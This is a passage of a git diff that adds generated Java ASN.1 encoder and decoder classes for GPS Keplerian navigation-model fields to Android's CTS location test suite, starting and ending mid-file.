+ * Creates a new keplerCisType from encoded stream.
+ */
+ public static keplerCisType fromPerAligned(byte[] encodedBytes) {
+ keplerCisType result = new keplerCisType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "keplerCisType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class keplerCusType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_keplerCusType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public keplerCusType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_keplerCusType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_keplerCusType != null) {
+ return ImmutableList.of(TAG_keplerCusType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new keplerCusType from encoded stream.
+ */
+ public static keplerCusType fromPerUnaligned(byte[] encodedBytes) {
+ keplerCusType result = new keplerCusType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new keplerCusType from encoded stream.
+ */
+ public static keplerCusType fromPerAligned(byte[] encodedBytes) {
+ keplerCusType result = new keplerCusType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "keplerCusType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class keplerCrcType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_keplerCrcType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public keplerCrcType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_keplerCrcType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_keplerCrcType != null) {
+ return ImmutableList.of(TAG_keplerCrcType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new keplerCrcType from encoded stream.
+ */
+ public static keplerCrcType fromPerUnaligned(byte[] encodedBytes) {
+ keplerCrcType result = new keplerCrcType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new keplerCrcType from encoded stream.
+ */
+ public static keplerCrcType fromPerAligned(byte[] encodedBytes) {
+ keplerCrcType result = new keplerCrcType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "keplerCrcType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class keplerCicType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_keplerCicType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public keplerCicType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_keplerCicType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_keplerCicType != null) {
+ return ImmutableList.of(TAG_keplerCicType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new keplerCicType from encoded stream.
+ */
+ public static keplerCicType fromPerUnaligned(byte[] encodedBytes) {
+ keplerCicType result = new keplerCicType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new keplerCicType from encoded stream.
+ */
+ public static keplerCicType fromPerAligned(byte[] encodedBytes) {
+ keplerCicType result = new keplerCicType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "keplerCicType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class keplerCucType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_keplerCucType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public keplerCucType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_keplerCucType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_keplerCucType != null) {
+ return ImmutableList.of(TAG_keplerCucType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new keplerCucType from encoded stream.
+ */
+ public static keplerCucType fromPerUnaligned(byte[] encodedBytes) {
+ keplerCucType result = new keplerCucType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new keplerCucType from encoded stream.
+ */
+ public static keplerCucType fromPerAligned(byte[] encodedBytes) {
+ keplerCucType result = new keplerCucType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "keplerCucType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("NavModel_KeplerianSet = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModel_NAVKeplerianSet.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModel_NAVKeplerianSet.java
new file mode 100755
index 0000000..3a124f4
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModel_NAVKeplerianSet.java
@@ -0,0 +1,2703 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class NavModel_NAVKeplerianSet extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_NavModel_NAVKeplerianSet
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public NavModel_NAVKeplerianSet() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_NavModel_NAVKeplerianSet;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_NavModel_NAVKeplerianSet != null) {
+ return ImmutableList.of(TAG_NavModel_NAVKeplerianSet);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new NavModel_NAVKeplerianSet from encoded stream.
+ */
+ public static NavModel_NAVKeplerianSet fromPerUnaligned(byte[] encodedBytes) {
+ NavModel_NAVKeplerianSet result = new NavModel_NAVKeplerianSet();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new NavModel_NAVKeplerianSet from encoded stream.
+ */
+ public static NavModel_NAVKeplerianSet fromPerAligned(byte[] encodedBytes) {
+ NavModel_NAVKeplerianSet result = new NavModel_NAVKeplerianSet();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private NavModel_NAVKeplerianSet.navURAType navURA_;
+ public NavModel_NAVKeplerianSet.navURAType getNavURA() {
+ return navURA_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_NAVKeplerianSet.navURAType
+ */
+ public void setNavURA(Asn1Object value) {
+ this.navURA_ = (NavModel_NAVKeplerianSet.navURAType) value;
+ }
+ public NavModel_NAVKeplerianSet.navURAType setNavURAToNewInstance() {
+ navURA_ = new NavModel_NAVKeplerianSet.navURAType();
+ return navURA_;
+ }
+
+ private NavModel_NAVKeplerianSet.navFitFlagType navFitFlag_;
+ public NavModel_NAVKeplerianSet.navFitFlagType getNavFitFlag() {
+ return navFitFlag_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_NAVKeplerianSet.navFitFlagType
+ */
+ public void setNavFitFlag(Asn1Object value) {
+ this.navFitFlag_ = (NavModel_NAVKeplerianSet.navFitFlagType) value;
+ }
+ public NavModel_NAVKeplerianSet.navFitFlagType setNavFitFlagToNewInstance() {
+ navFitFlag_ = new NavModel_NAVKeplerianSet.navFitFlagType();
+ return navFitFlag_;
+ }
+
+ private NavModel_NAVKeplerianSet.navToeType navToe_;
+ public NavModel_NAVKeplerianSet.navToeType getNavToe() {
+ return navToe_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_NAVKeplerianSet.navToeType
+ */
+ public void setNavToe(Asn1Object value) {
+ this.navToe_ = (NavModel_NAVKeplerianSet.navToeType) value;
+ }
+ public NavModel_NAVKeplerianSet.navToeType setNavToeToNewInstance() {
+ navToe_ = new NavModel_NAVKeplerianSet.navToeType();
+ return navToe_;
+ }
+
+ private NavModel_NAVKeplerianSet.navOmegaType navOmega_;
+ public NavModel_NAVKeplerianSet.navOmegaType getNavOmega() {
+ return navOmega_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_NAVKeplerianSet.navOmegaType
+ */
+ public void setNavOmega(Asn1Object value) {
+ this.navOmega_ = (NavModel_NAVKeplerianSet.navOmegaType) value;
+ }
+ public NavModel_NAVKeplerianSet.navOmegaType setNavOmegaToNewInstance() {
+ navOmega_ = new NavModel_NAVKeplerianSet.navOmegaType();
+ return navOmega_;
+ }
+
+ private NavModel_NAVKeplerianSet.navDeltaNType navDeltaN_;
+ public NavModel_NAVKeplerianSet.navDeltaNType getNavDeltaN() {
+ return navDeltaN_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_NAVKeplerianSet.navDeltaNType
+ */
+ public void setNavDeltaN(Asn1Object value) {
+ this.navDeltaN_ = (NavModel_NAVKeplerianSet.navDeltaNType) value;
+ }
+ public NavModel_NAVKeplerianSet.navDeltaNType setNavDeltaNToNewInstance() {
+ navDeltaN_ = new NavModel_NAVKeplerianSet.navDeltaNType();
+ return navDeltaN_;
+ }
+
+ private NavModel_NAVKeplerianSet.navM0Type navM0_;
+ public NavModel_NAVKeplerianSet.navM0Type getNavM0() {
+ return navM0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_NAVKeplerianSet.navM0Type
+ */
+ public void setNavM0(Asn1Object value) {
+ this.navM0_ = (NavModel_NAVKeplerianSet.navM0Type) value;
+ }
+ public NavModel_NAVKeplerianSet.navM0Type setNavM0ToNewInstance() {
+ navM0_ = new NavModel_NAVKeplerianSet.navM0Type();
+ return navM0_;
+ }
+
+ private NavModel_NAVKeplerianSet.navOmegaADotType navOmegaADot_;
+ public NavModel_NAVKeplerianSet.navOmegaADotType getNavOmegaADot() {
+ return navOmegaADot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_NAVKeplerianSet.navOmegaADotType
+ */
+ public void setNavOmegaADot(Asn1Object value) {
+ this.navOmegaADot_ = (NavModel_NAVKeplerianSet.navOmegaADotType) value;
+ }
+ public NavModel_NAVKeplerianSet.navOmegaADotType setNavOmegaADotToNewInstance() {
+ navOmegaADot_ = new NavModel_NAVKeplerianSet.navOmegaADotType();
+ return navOmegaADot_;
+ }
+
+ private NavModel_NAVKeplerianSet.navEType navE_;
+ public NavModel_NAVKeplerianSet.navEType getNavE() {
+ return navE_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_NAVKeplerianSet.navEType
+ */
+ public void setNavE(Asn1Object value) {
+ this.navE_ = (NavModel_NAVKeplerianSet.navEType) value;
+ }
+ public NavModel_NAVKeplerianSet.navEType setNavEToNewInstance() {
+ navE_ = new NavModel_NAVKeplerianSet.navEType();
+ return navE_;
+ }
+
+ private NavModel_NAVKeplerianSet.navIDotType navIDot_;
+ public NavModel_NAVKeplerianSet.navIDotType getNavIDot() {
+ return navIDot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_NAVKeplerianSet.navIDotType
+ */
+ public void setNavIDot(Asn1Object value) {
+ this.navIDot_ = (NavModel_NAVKeplerianSet.navIDotType) value;
+ }
+ public NavModel_NAVKeplerianSet.navIDotType setNavIDotToNewInstance() {
+ navIDot_ = new NavModel_NAVKeplerianSet.navIDotType();
+ return navIDot_;
+ }
+
+ private NavModel_NAVKeplerianSet.navAPowerHalfType navAPowerHalf_;
+ public NavModel_NAVKeplerianSet.navAPowerHalfType getNavAPowerHalf() {
+ return navAPowerHalf_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_NAVKeplerianSet.navAPowerHalfType
+ */
+ public void setNavAPowerHalf(Asn1Object value) {
+ this.navAPowerHalf_ = (NavModel_NAVKeplerianSet.navAPowerHalfType) value;
+ }
+ public NavModel_NAVKeplerianSet.navAPowerHalfType setNavAPowerHalfToNewInstance() {
+ navAPowerHalf_ = new NavModel_NAVKeplerianSet.navAPowerHalfType();
+ return navAPowerHalf_;
+ }
+
+ private NavModel_NAVKeplerianSet.navI0Type navI0_;
+ public NavModel_NAVKeplerianSet.navI0Type getNavI0() {
+ return navI0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_NAVKeplerianSet.navI0Type
+ */
+ public void setNavI0(Asn1Object value) {
+ this.navI0_ = (NavModel_NAVKeplerianSet.navI0Type) value;
+ }
+ public NavModel_NAVKeplerianSet.navI0Type setNavI0ToNewInstance() {
+ navI0_ = new NavModel_NAVKeplerianSet.navI0Type();
+ return navI0_;
+ }
+
+ private NavModel_NAVKeplerianSet.navOmegaA0Type navOmegaA0_;
+ public NavModel_NAVKeplerianSet.navOmegaA0Type getNavOmegaA0() {
+ return navOmegaA0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_NAVKeplerianSet.navOmegaA0Type
+ */
+ public void setNavOmegaA0(Asn1Object value) {
+ this.navOmegaA0_ = (NavModel_NAVKeplerianSet.navOmegaA0Type) value;
+ }
+ public NavModel_NAVKeplerianSet.navOmegaA0Type setNavOmegaA0ToNewInstance() {
+ navOmegaA0_ = new NavModel_NAVKeplerianSet.navOmegaA0Type();
+ return navOmegaA0_;
+ }
+
+ private NavModel_NAVKeplerianSet.navCrsType navCrs_;
+ public NavModel_NAVKeplerianSet.navCrsType getNavCrs() {
+ return navCrs_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_NAVKeplerianSet.navCrsType
+ */
+ public void setNavCrs(Asn1Object value) {
+ this.navCrs_ = (NavModel_NAVKeplerianSet.navCrsType) value;
+ }
+ public NavModel_NAVKeplerianSet.navCrsType setNavCrsToNewInstance() {
+ navCrs_ = new NavModel_NAVKeplerianSet.navCrsType();
+ return navCrs_;
+ }
+
+ private NavModel_NAVKeplerianSet.navCisType navCis_;
+ public NavModel_NAVKeplerianSet.navCisType getNavCis() {
+ return navCis_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_NAVKeplerianSet.navCisType
+ */
+ public void setNavCis(Asn1Object value) {
+ this.navCis_ = (NavModel_NAVKeplerianSet.navCisType) value;
+ }
+ public NavModel_NAVKeplerianSet.navCisType setNavCisToNewInstance() {
+ navCis_ = new NavModel_NAVKeplerianSet.navCisType();
+ return navCis_;
+ }
+
+ private NavModel_NAVKeplerianSet.navCusType navCus_;
+ public NavModel_NAVKeplerianSet.navCusType getNavCus() {
+ return navCus_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_NAVKeplerianSet.navCusType
+ */
+ public void setNavCus(Asn1Object value) {
+ this.navCus_ = (NavModel_NAVKeplerianSet.navCusType) value;
+ }
+ public NavModel_NAVKeplerianSet.navCusType setNavCusToNewInstance() {
+ navCus_ = new NavModel_NAVKeplerianSet.navCusType();
+ return navCus_;
+ }
+
+ private NavModel_NAVKeplerianSet.navCrcType navCrc_;
+ public NavModel_NAVKeplerianSet.navCrcType getNavCrc() {
+ return navCrc_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_NAVKeplerianSet.navCrcType
+ */
+ public void setNavCrc(Asn1Object value) {
+ this.navCrc_ = (NavModel_NAVKeplerianSet.navCrcType) value;
+ }
+ public NavModel_NAVKeplerianSet.navCrcType setNavCrcToNewInstance() {
+ navCrc_ = new NavModel_NAVKeplerianSet.navCrcType();
+ return navCrc_;
+ }
+
+ private NavModel_NAVKeplerianSet.navCicType navCic_;
+ public NavModel_NAVKeplerianSet.navCicType getNavCic() {
+ return navCic_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_NAVKeplerianSet.navCicType
+ */
+ public void setNavCic(Asn1Object value) {
+ this.navCic_ = (NavModel_NAVKeplerianSet.navCicType) value;
+ }
+ public NavModel_NAVKeplerianSet.navCicType setNavCicToNewInstance() {
+ navCic_ = new NavModel_NAVKeplerianSet.navCicType();
+ return navCic_;
+ }
+
+ private NavModel_NAVKeplerianSet.navCucType navCuc_;
+ public NavModel_NAVKeplerianSet.navCucType getNavCuc() {
+ return navCuc_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_NAVKeplerianSet.navCucType
+ */
+ public void setNavCuc(Asn1Object value) {
+ this.navCuc_ = (NavModel_NAVKeplerianSet.navCucType) value;
+ }
+ public NavModel_NAVKeplerianSet.navCucType setNavCucToNewInstance() {
+ navCuc_ = new NavModel_NAVKeplerianSet.navCucType();
+ return navCuc_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavURA() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavURA();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavURAToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_NAVKeplerianSet.navURAType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navURA : "
+ + getNavURA().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavFitFlag() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavFitFlag();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavFitFlagToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_NAVKeplerianSet.navFitFlagType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navFitFlag : "
+ + getNavFitFlag().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavToe() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavToe();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavToeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_NAVKeplerianSet.navToeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navToe : "
+ + getNavToe().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavOmega() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavOmega();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavOmegaToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_NAVKeplerianSet.navOmegaType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navOmega : "
+ + getNavOmega().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavDeltaN() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavDeltaN();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavDeltaNToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_NAVKeplerianSet.navDeltaNType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navDeltaN : "
+ + getNavDeltaN().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavM0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavM0();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavM0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_NAVKeplerianSet.navM0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navM0 : "
+ + getNavM0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavOmegaADot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavOmegaADot();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavOmegaADotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_NAVKeplerianSet.navOmegaADotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navOmegaADot : "
+ + getNavOmegaADot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavE() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavE();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavEToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_NAVKeplerianSet.navEType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navE : "
+ + getNavE().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 8);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavIDot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
